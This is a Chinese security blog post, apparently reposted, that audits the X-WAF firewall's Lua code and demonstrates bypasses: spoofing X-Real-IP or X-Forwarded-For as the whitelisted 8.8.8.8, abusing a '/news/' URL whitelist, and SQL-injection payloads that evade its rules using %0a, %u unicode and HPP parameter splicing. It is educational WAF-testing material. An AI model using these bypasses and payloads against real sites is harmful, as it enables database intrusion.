分析绕过一款适合练手的云WAF
X-WAF是一款使用中、小企業(yè)的云WAF系統(tǒng),讓中、小企業(yè)也可以非常方便地擁有自己的免費云WAF。
本文從代碼出發(fā),一步步理解WAF的工作原理,多姿勢進行WAF Bypass。
0x01 環(huán)境搭建
官網(wǎng):
https://waf.xsec.io>
github 源碼:
https://github.com/xsec-lab/x-waf
X-WAF 下載安裝后,設置反向代理訪問構造的 SQL 注入點
0x02 代碼分析
首先看一下整體的目錄結構,nginx_conf目錄為參考配置(可刪除),rules目錄存放過濾規(guī)則,init.lua加載規(guī)則,access.lua程序啟動,config.lua配置文件
主要邏輯實現(xiàn)全部在util.lua和waf.lua文件。
代碼邏輯很簡單,先熟悉一下檢測流程,程序入口在waf.lua第262-274行中:
-- waf startfunction _M.check() if _M.white_ip_check() thenelseif _M.black_ip_check() thenelseif _M.user_agent_attack_check() thenelseif _M.white_url_check() thenelseif _M.url_attack_check() thenelseif _M.cc_attack_check() then elseif _M.cookie_attack_check() thenelseif _M.url_args_attack_check() thenelseif _M.post_attack_check() thenelsereturnend`這個一個多條件判斷語句,一旦滿足前面的條件就不再進行后面的檢測。
白名單
首先判斷 IP 白名單,我們來看一下 white_ip_check() 函數(shù),同文件下的第 50-64 行:
-- white ip checkfunction _M.white_ip_check()if config.config_white_ip_check == "on" thenlocal IP_WHITE_RULE = _M.get_rule('whiteip.rule')local WHITE_IP = util.get_client_ip()if IP_WHITE_RULE ~= nil thenfor _, rule in pairs(IP_WHITE_RULE) doif rule ~= "" and rulematch(WHITE_IP, rule, "jo") thenutil.log_record(config.config_log_dir, 'White_IP', ngx.var_request_uri, "_", "_")return trueendendendend默認配置IP白名單是開啟狀態(tài),讀取IP白名單規(guī)則與獲取的客戶端IP進行對比,我們再來跟進看一下get_client_ip()函數(shù),在util.lua文件中,第83-96行:
-- Get the client IPfunction _M.get_client_ip()local CLIENT_IP = ngx.req.get_headers()["X_real_ip"]if CLIENT_IP == nil thenCLIENT_IP = ngx.req.get_headers()["X_Forwarded_For"]endif CLIENT_IP == nil thenCLIENT_IP = ngx.var.remote_addrendif CLIENT_IP == nil thenCLIENT_IP = ""endreturn CLIENT_IP end在這段獲取客戶端IP的代碼中,后去的X_real_ip、X_Forwarded_For使用可控的,存在客戶端IP地址可偽造的風險。最后再來看一下,rules目錄中whiteip.rule的默認配置:
[{"Id": 74, "RuleType": "whiteip", "RuleItem": "8.8.8.8"}]IP白名單規(guī)則默認IP: 8.8.8.8為白名單
因此我們可以通過構造HTTP請求Header實現(xiàn)偽造IP來源為8.8.8.8,從而繞過x-waf的所有安全防御。
Bypass 測試
先來一張攔截效果圖
偽造客戶端 IP 繞過:
另外有趣的是,在blackip.rule里面,把8.8.8.8放置在黑名單里面,但這并沒有什么用,IP白名單已經跳出多條件判斷,不會再進行IP黑名單檢測。CC攻擊的防御也主要是從客戶端獲取IP,也可以偽造客戶端IP輕易繞過限制。
[{"Id": 2, "RuleType": "blackip","RuleItem": "8.8.8.8"},{"Id": 3, "RuleType": "blackip","RuleItem": "1.1.1.1"} ]同樣來看一下url白名單white_url_check()函數(shù):
function _M.white_url_check()if config.config_white_url_check == "on" thenlocal URL_WHITE_RULES = _M.get_rule('writeurl.rule')local REQ_URI = ngx.var.request_uriif URL_WHITE_RULES ~= nil thenfor _, rule in paires(URL_WHITE_RULES) doif rule ~= "" and rulematch(REQ_URI, rule, "joi") thenreturn trueendendendend end添加了一下URL白名單功能,感覺無效,對比了一下rules文件,可以發(fā)現(xiàn)加載的rule文件名不一致。
這里應該是作者的一個筆誤,writeurl.rule和whiteUrl.rule。
默認url白名單配置:
[{"Id": 73,"RuleType": "whiteUrl","RuleItem": "/news/"} ]另外,這里使用ngx.re.find進行ngx.var.request_uri和rule匹配,只要url中存在/news/,就不進行檢測,繞過安全防御規(guī)則。比如:/test/sql,php/news/?id=1、/test/sql,php?id=1&b=/news/等形式可繞過。
正則匹配
接下來,我們主要來看一下M.url_args_attack_check():
-- deny url argsfunction _M.url_args_attack_check()if config.config_url_args_check == "on" thenlocal ARGS_RULES = _M.get_rule('args.rule')for _, rule in pairs(ARGS_RULES) dolocal REQ_ARGS = ngx.req.get_uri_args()for key, val in pairs(REQ_ARGS) dolocal ARGS_DATA = {}if type(val) == 'table' thenARGS_DATA = table.concat(val, " ")elseARGS_DATA = valendif ARGS_DATA and type(ARGS_DATA) ~= "boolean" and rule ~= "" and rulematch(unescape(ARGS_DATA), rule, "joi") thenutil.log_record(config.config_log_dirc, 'Get_Attack', ngx.var.request_uri, "-", rule)if config.config_waf_enable == "on" thenutil.waf_output()return trueendendendendendreturn false endM.post_attack_check():
-- deny postfunction _M.post_attack_check()if config.config_post_check == "on" thenngx.req.read_body()local POST_RULES = _M.get_rule('post.rule')for _, rule in pairs(POST_RULES) dolocal POST_ARGS = ngx.req.get_post_args() or {}for k, v in pairs(POST_ARGS) dolocal post_data = ""if type(v) == "table" thenpost_data = table.concat(v, ", ")elseif type(v) == "boolean" thenpost_data = kelsepost_data = vendif rule ~= "" and rulematch(post_data, rule, "joi") thenutil.log_record(config.config_log_dir, 'Post_Attack', post_data, "-", rule)if config.config_waf_enable == "on" thenutil.waf_output()return trueendendendendendreturn false end兩段函數(shù)在一定程度上是類似的,使用ngx.req.get_uri_args、ngx.req.get_post_args獲取數(shù)據(jù)來源,前者來自uri請求參數(shù),而后者來自post請求內容,并未對數(shù)據(jù)進行特殊處理,然后都使用rulematch(data, rule, "joi") 來進行匹配。
rule中比較關鍵SQL注入防御規(guī)則如下:
`select.+(from|limit)
(?:(union(.*?)select))
(?:form\W+information_schema\W)`
繞過姿勢一:%0a
由于使用的是joi來修飾,我們可以用%0a來進行繞過。
/sql.php?id=1 union%0aselect
1, schema_name, 3%0afrom
/*!12345information_schema.schemata*/
繞過姿勢二:%u 特性
主要利用 IIS 服務器支持 unicode 的解析
/sql.aspx?id=1 union selec%u0054 null,table_name,null fro%u004d information_schema.tables繞過姿勢三:HPP+GPC
使用 GPC 三種方式可以進行參數(shù)傳遞,利用 apsx 特性,將獲取到參數(shù)拼接起來,可成功 Bypass
/sql.aspx?id=1 union/*
POST:Id=2*/select null,system_user,null
0x03 總結
這是一款適合用來進行 WAF Bypass 練手的云 WAF,通過代碼層面熟悉 WAF 的工作原理,進一步理解和應用各種服務器特性、數(shù)據(jù)庫特性來進行嘗試 Bypass,期待與你來交流更多姿勢。
總結
以上是生活随笔為你收集整理的分析绕过一款适合练手的云WAF的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 审计某开源商城中的漏洞大礼包
- 下一篇: 关于站库分离渗透思考总结